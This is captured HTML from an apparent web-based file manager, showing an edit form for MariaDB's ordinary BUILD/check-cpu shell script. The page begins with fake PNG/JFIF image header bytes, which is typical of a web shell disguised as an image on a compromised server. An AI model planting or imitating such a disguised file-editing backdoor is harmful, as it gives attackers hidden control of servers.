�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2FBUILD%2F'>BUILD</a>/</p><hr><h3>✏️ Editing: check-cpu</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/bin/sh
# Copyright (c) 2005, 2010, Oracle and/or its affiliates.
# 
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License.
# 
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335  USA

#
# Check cpu of current machine and find the
# best compiler optimization flags for gcc
# Will return result in:
# cpu_arg        : Type of CPU
# low_cpu_arg    : Type of CPU used up until GCC v3.3
# check_cpu_args : Arguments for GCC compiler settings
#

check_compiler_cpu_flags () {
  # different compiler versions have different option names
  # for CPU specific command line options
  if test -z &quot;$CC&quot; ; then
    cc=&quot;gcc&quot;;
  else
    cc=$CC
  fi

  # check if compiler is gcc and dump its version
  cc_verno=`$cc -dumpversion 2&gt;/dev/null`
  if test &quot;x$?&quot; = &quot;x0&quot; ; then
    set -- `echo $cc_verno | tr &#039;.&#039; &#039; &#039;`
    cc_ver=&quot;GCC&quot;
    cc_major=$1
    cc_minor=$2
    cc_patch=$3
    if test -z &quot;$cc_minor&quot;; then
      cc_minor=&quot;0&quot;;
    fi
    if test -z &quot;$cc_patch&quot;; then
      cc_minor=&quot;0&quot;;
    fi
    cc_comp=`expr $cc_major &#039;*&#039; 100 &#039;+&#039; $cc_minor`
  fi

  case &quot;$cc_ver--$cc_verno&quot; in
    *GCC*)
        # different gcc backends (and versions) have different CPU flags
        case `gcc -dumpmachine` in
          i?86-* | x86_64-*)
	    if test &quot;$cc_comp&quot; -lt 304 ; then
              check_cpu_cflags=&quot;-mcpu=${low_cpu_arg}&quot;
            elif test &quot;$cc_comp&quot; -ge 402 ; then
              check_cpu_cflags=&quot;-mtune=native&quot;
            else
              check_cpu_cflags=&quot;-mtune=${cpu_arg}&quot;
            fi
            ;;
          ppc-*)
              check_cpu_cflags=&quot;-mcpu=${cpu_arg} -mtune=${cpu_arg}&quot;
            ;;
          *)
            check_cpu_cflags=&quot;&quot;
            return
            ;;
        esac
      ;;
    2.95.*)
      # GCC 2.95 doesn&#039;t expose its name in --version output
      check_cpu_cflags=&quot;-m${cpu_arg}&quot;
      ;;
    *)
      check_cpu_cflags=&quot;&quot;
      return
      ;;
  esac

  # now we check whether the compiler really understands the cpu type
  touch __test.c

  while [ &quot;$cpu_arg&quot; ] ; do
    printf &quot;testing $cpu_arg ... &quot; &gt;&amp;2

    # compile check
    eval &quot;$cc -c $check_cpu_cflags __test.c&quot; 2&gt;/dev/null
    if test &quot;x$?&quot; = &quot;x0&quot; ; then
      echo ok &gt;&amp;2
      break;
    fi

    echo failed &gt;&amp;2
    check_cpu_cflags=&quot;&quot;
    break;
  done
  rm __test.*
  return 0
}

check_cpu () {
  CPUINFO=/proc/cpuinfo
  if test -n &quot;$TEST_CPUINFO&quot; ; then
    CPUINFO=$TEST_CPUINFO
  fi
  if test -r &quot;$CPUINFO&quot; -a &quot;$CPUINFO&quot; != &quot; &quot; ; then
    # on Linux (and others?) we can get detailed CPU information out of /proc
    cpuinfo=&quot;cat $CPUINFO&quot;

    # detect CPU architecture
    cpu_arch=`$cpuinfo | grep &#039;arch&#039; | cut -d &#039;:&#039; -f 2 | cut -d &#039; &#039; -f 2 | head -1`

    # detect CPU family
    cpu_family=`$cpuinfo | grep &#039;family&#039; | cut -d &#039;:&#039; -f 2 | cut -d &#039; &#039; -f 2 | head -1`
    if test -z &quot;$cpu_family&quot; ; then
      cpu_family=`$cpuinfo | grep &#039;cpu&#039; | cut -d &#039;:&#039; -f 2 | cut -d &#039; &#039; -f 2 | head -1`
    fi

    # detect CPU vendor and model
    cpu_vendor=`$cpuinfo | grep &#039;vendor_id&#039; | cut -d &#039;:&#039; -f 2 | cut -d &#039; &#039; -f 2 | head -1`
    model_name=`$cpuinfo | grep &#039;model name&#039; | cut -d &#039;:&#039; -f 2 | head -1`
    if test -z &quot;$model_name&quot; ; then
      model_name=`$cpuinfo | grep &#039;cpu model&#039; | cut -d &#039;:&#039; -f 2 | head -1`
    fi

    # fallback: get CPU model from uname output
    if test -z &quot;$model_name&quot; ; then
      model_name=`uname -m`
    fi

    # parse CPU flags
    for flag in `$cpuinfo | grep &#039;^flags&#039; | sed -e &#039;s/^flags.*: //&#039; -e &#039;s/[^a-zA-Z0-9_ ]/_/g&#039;`; do 
      eval cpu_flag_$flag=yes
    done
  else
    # Fallback when there is no /proc/cpuinfo
    CPUINFO=&quot; &quot;
    case &quot;`uname -s`&quot; in
      FreeBSD|OpenBSD)
        cpu_family=`uname -m`;
        model_name=`sysctl -n hw.model`
        ;;
      Darwin)
        cpu_family=`sysctl -n machdep.cpu.vendor`
        model_name=`sysctl -n machdep.cpu.brand_string`
        if [ -z &quot;$cpu_family&quot; -o -z &quot;$model_name&quot; ]
        then  
          cpu_family=`uname -p`
          model_name=`machine`
        fi  
        ;;
      *)
        cpu_family=`uname -p`;
        model_name=`uname -m`;
        ;;
    esac
  fi

  # detect CPU shortname as used by gcc options 
  # this list is not complete, feel free to add further entries
  cpu_arg=&quot;&quot;
  low_cpu_arg=&quot;&quot;
  case &quot;$cpu_vendor--$cpu_family--$model_name--$spu_arch&quot; in
    # DEC Alpha
    *Alpha*EV6*)
      cpu_arg=&quot;ev6&quot;;
      ;;
    #Core 2 Duo  
    *Intel*Core\(TM\)2*)
      cpu_arg=&quot;nocona&quot;
      core2=&quot;yes&quot;
      ;;
    # Intel ia32
    *Intel*Core*|*X[eE][oO][nN]*)
      # a Xeon is just another pentium4 ...
      # ... unless it has the &quot;lm&quot; (long-mode) flag set, 
      # in that case it&#039;s a Xeon with EM64T support
      # If SSE3 support exists it is a Core2 Duo or newer
      # So is Intel Core.
      if [ -z &quot;$cpu_flag_lm&quot; ]; then
        cpu_arg=&quot;pentium4&quot;
      else
        cpu_arg=&quot;nocona&quot;
      fi
      if test -z &quot;$cpu_flag_ssse3&quot; ; then
        core2=&quot;no&quot;
      else
        core2=&quot;yes&quot;
      fi
      ;;
    *Pentium*4*Mobile*)
      cpu_arg=&quot;pentium4m&quot;
      ;;
    *Pentium\(R\)*\ M*)
      cpu_arg=&quot;pentium-m&quot;
      low_cpu_arg=&quot;pentium3&quot;
      ;;
    *Pentium\(R\)*\ D*)
      cpu_arg=&quot;prescott&quot;
      ;;
    *Pentium*4*)
      cpu_arg=&quot;pentium4&quot;
      ;;
    *Pentium*III*Mobile*)
      cpu_arg=&quot;pentium3m&quot;
      ;;
    *Pentium*III*)
      cpu_arg=&quot;pentium3&quot;
      ;;
    *Pentium*M*pro*)
      cpu_arg=&quot;pentium-m&quot;
    ;;
    *Celeron\(R\)*\ M*)
      cpu_arg=&quot;pentium-m&quot;
      ;;
    *Celeron*Coppermine*)
      cpu_arg=&quot;pentium3&quot;
      ;;
    *Celeron\(R\)*)
      cpu_arg=&quot;pentium4&quot;
      ;;
    *Celeron*)
      cpu_arg=&quot;pentium2&quot;
      ;;
    *Atom*)
      cpu_arg=&quot;prescott&quot;
      ;;
    *GenuineIntel*)
      cpu_arg=&quot;pentium&quot;
      ;;
    *Turion*)
      cpu_arg=&quot;athlon64&quot;
      ;;
    *Athlon*64*)
      cpu_arg=&quot;athlon64&quot;
      ;;
    *Athlon*)
      cpu_arg=&quot;athlon&quot;
      ;;
    *AMD-K7*)
      cpu_arg=&quot;athlon&quot;
      ;;
    *Athlon*XP\ *)
      cpu_arg=&quot;athlon-xp&quot;
      ;;
    *AMD*Sempron\(tm\)*)
      cpu_arg=&quot;athlon-mp&quot;
      ;;
    *AMD*Athlon\(tm\)\ 64*)
      cpu_arg=&quot;k8&quot;
      ;;
    *Opteron*)
      cpu_arg=&quot;opteron&quot;
      ;;
    *Phenom*)
      cpu_arg=&quot;k8&quot;
      ;;
    *AuthenticAMD*)
      cpu_arg=&quot;k6&quot;
      ;;
    *HygonGenuine*)
      cpu_arg=&quot;k8&quot;
      ;;
    *VIA\ *)
      cpu_arg=&quot;i686&quot;
      ;;
    # MacOSX / Intel  
    *i386*i486*)
      cpu_arg=&quot;pentium-m&quot;
      ;;
    *i386*)
      cpu_arg=&quot;i386&quot;
      ;;
    # Intel ia64
    *Itanium*)
      cpu_arg=&quot;itanium&quot;
      ;;
    *IA-64*)
      cpu_arg=&quot;itanium&quot;
      ;;
    # Solaris Sparc
    *sparc*sun4[uv]*)
      cpu_arg=&quot;sparc&quot;
      ;;
    # Power PC
    *ppc*)
      cpu_arg=&quot;powerpc&quot;
      ;;
    *powerpc*)
      cpu_arg=&quot;powerpc&quot;
      ;;
    # unknown
    *)
      cpu_arg=&quot;&quot;
      ;;
  esac

  if test &quot;x$low_cpu_arg&quot; = &quot;x&quot; ; then
    low_cpu_arg=&quot;$cpu_arg&quot;
  fi

  if test -z &quot;$cpu_arg&quot; ; then
    if test &quot;$CPUINFO&quot; != &quot; &quot; ; then
      # fallback to uname if necessary
      TEST_CPUINFO=&quot; &quot;
      check_cpu_cflags=&quot;&quot;
      check_cpu
      return
    fi
    echo &quot;BUILD/check-cpu: Oops, could not find out what kind of cpu this machine is using.&quot; &gt;&amp;2
    check_cpu_cflags=&quot;&quot;
    return
  fi

  if test &quot;x$compiler&quot; = &quot;x&quot; ; then
    check_compiler_cpu_flags
  fi

  if test &quot;x$core2&quot; = &quot;xyes&quot; ; then
    cpu_arg=&quot;core2&quot;
  fi

  return 0
}

check_cpu
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2FBUILD'>🔙 Back</a></p>